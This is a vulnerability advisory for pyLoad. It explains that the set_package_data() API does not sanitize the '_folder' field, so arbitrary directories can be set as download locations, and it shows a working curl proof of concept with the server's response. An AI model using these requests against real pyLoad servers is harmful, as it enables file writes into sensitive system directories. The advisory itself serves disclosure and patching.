CVE-2026-42315

### Summary No sanitization of package folder name allows writing files anywhere outside the intended download directory. #### Affected Component - `src/pyload/core/api/__init__.py` - Function: `set_package_data()` ### Details When passing a folder name in the `set_package_data()` API function call inside the data object with key `"_folder"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package. ### PoC 1) Create a package, note response package ID e.g. `5` ``` curl -X 'POST' \ 'http://localhost:8000/api/add_package' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "name": "set_package_data_exploit_poc", "links": [ "http://example.com/file.txt" ], "dest": 1 }' ``` 2) Call set_package_data for this package ID with an arbitrary directory ``` curl -X 'POST' \ 'http://localhost:8000/api/set_package_data' \ -H 'accept: */*' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "package_id": 5, "data": { "_folder": "/users/root/" } }' ``` 3) New download folder will be set without any checks ``` curl -X 'GET' \ 'http://localhost:8000/api/get_queue' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' ``` Response: ``` [ { "pid": 5, "name": "set_package_data_exploit_poc", "folder": "/users/root/", "site": "", "password": "", "dest": 1, "order": 1, "linksdone": 0, "sizedone": 0, "sizetotal": 0, "linkstotal": 1, "links": null, "fids": null } ] ``` ### Impact Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.